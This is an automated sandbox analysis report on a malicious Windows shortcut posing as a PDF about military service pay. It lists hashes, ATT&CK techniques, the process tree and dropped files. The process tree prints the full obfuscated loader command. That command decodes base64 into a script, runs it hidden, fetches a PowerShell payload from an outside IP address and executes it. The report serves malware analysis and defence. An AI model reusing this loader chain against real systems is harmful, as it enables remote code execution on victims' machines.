e88687f5d39bd5211137732a90a0be6e1dc601d0ddb3f4ae4fb7fbedae60d099

Analysis

max time kernel
149s
max time network
151s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
19/08/2026, 19:48

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General

Target
VYTIaH_iz_nakaza_rozrakhunok_vysluhy_viskovosluzhbovtsia.pdf.lnk
Size 77KB
Sample260819-yjgbysvtbz
SHA256 e88687f5d39bd5211137732a90a0be6e1dc601d0ddb3f4ae4fb7fbedae60d099
MD5 8e049139f0fb357392d7322242e1a1c1
SHA1 d43dba256309988b25e134ffbc1e9a95f9274afa
SHA512 983f23121bb1aa364b9ff218f3bf3520475812e6e251863ee06d57c4c99beccbec17787903181049bca1f1cdeb194b36ffaf63b4ca8fc436455c3e83a67c906c
SSDEEP 24:8d/42WPUcUlYaInZNIdbxFPRSp+UOiXEu+njVHqzlWaSZJmMn:8l42KULYT8dVFPRy7jEu+njtlaT
TLSH
T1D373113033F90109E1F3EE32BDF5B7C19CABB977AC62169A448143090911A40FE2A73B
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

execution

Malware Config

Signatures

Badlisted process makes network request 1 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
5	1680	cscript.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1788976790-1541110888-1636651838-1000\Control Panel\International\Geo\Nation	cmd.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2804	powershell.exe

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
1436	cmd.exe
5008	cmd.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2804	powershell.exe
2804	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2804	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 1436 wrote to memory of 5008	1436	cmd.exe	86
PID 5008 wrote to memory of 2804	5008	cmd.exe	87
PID 5008 wrote to memory of 1680	5008	cmd.exe	88

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\VYTIaH_iz_nakaza_rozrakhunok_vysluhy_viskovosluzhbovtsia.pdf.lnk
1⤵
- Checks computer location settings
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:1436
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c "pushd C:\Users\Admin\AppData\Local\Temp && powershell -NoP -C "$a='dmFyIGg9bmV3IEFjdGl2ZVhPYmplY3QoIk1TWE1MMi5TZXJ2ZXJYTUxIVFRQLjYuMCIpO2gub3BlbigiR0VUIiwiaHR0cDovLzE4NS44Mi4xMjcuMTYvZG52MXNsMi9ldmlkZW5j';$b='ZWJhZGdlLnBzMSIsZmFsc2UpO2guc2V0UmVxdWVzdEhlYWRlcigiVXNlci1BZ2VudCIsIlVBIFdpbmRvd3NQb3dlclNoZWxsIik7aC5zZW5kKCk7bmV3IEFjdGl2ZVhPYmplY3Qo';$c='IlNoZWxsLkFwcGxpY2F0aW9uIikuU2hlbGxFeGVjdXRlKCJwb3dlcnNoZWxsLmV4ZSIsIi1Ob1AgLVcgSGlkZGVuIC1DICIraC5yZXNwb25zZVRleHQsIiIsIm9wZW4iLDApOw==';[IO.File]::WriteAllBytes('KbAc.js',[Convert]::FromBase64String($a+$b+$c))" && cscript //nologo //b KbAc.js && del KbAc.js"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:5008
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoP -C "$a='dmFyIGg9bmV3IEFjdGl2ZVhPYmplY3QoIk1TWE1MMi5TZXJ2ZXJYTUxIVFRQLjYuMCIpO2gub3BlbigiR0VUIiwiaHR0cDovLzE4NS44Mi4xMjcuMTYvZG52MXNsMi9ldmlkZW5j';$b='ZWJhZGdlLnBzMSIsZmFsc2UpO2guc2V0UmVxdWVzdEhlYWRlcigiVXNlci1BZ2VudCIsIlVBIFdpbmRvd3NQb3dlclNoZWxsIik7aC5zZW5kKCk7bmV3IEFjdGl2ZVhPYmplY3Qo';$c='IlNoZWxsLkFwcGxpY2F0aW9uIikuU2hlbGxFeGVjdXRlKCJwb3dlcnNoZWxsLmV4ZSIsIi1Ob1AgLVcgSGlkZGVuIC1DICIraC5yZXNwb25zZVRleHQsIiIsIm9wZW4iLDApOw==';[IO.File]::WriteAllBytes('KbAc.js',[Convert]::FromBase64String($a+$b+$c))"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2804
- - C:\Windows\system32\cscript.exe
    cscript //nologo //b KbAc.js
    3⤵
    - Badlisted process makes network request
    PID:1680

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

PowerShell

T1059.001

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

KbAc.js

Path C:\Users\Admin\AppData\Local\Temp\KbAc.js
Size 304B
SHA256 2192dc57dbf645be53b39dd2ef6100240fff352f65edf37e5903e4166309a187
MD5 99dd249c4e44264078dce7f13f5fcde3
SHA1 935ad65cf36868aac5ceafadc8bc7d298aa51f60
SHA512 ab17c97a9462b921d2883a20fa160daf116acc0106e253eb1b3985139109c1dbaa0b912e5b7f3634daf5edcd4f958144e1049298925dd73e6f5c7514c5c1f151
TLSH
T178E07D944035F0DD11C79FDC9410E76441DBC0B07001A8EFB744CAD43851204114D28F
MD5 SHA1 SHA512 TLSH

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__PSScriptPolicyTest_hr3dhg10.ast.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_hr3dhg10.ast.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

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memory/2804-1-0x000001726C7C0000-0x000001726C7D0000-memory.dmp

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memory/2804-0-0x000001726C7C0000-0x000001726C7D0000-memory.dmp

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memory/2804-2-0x0000017254590000-0x00000172545B2000-memory.dmp

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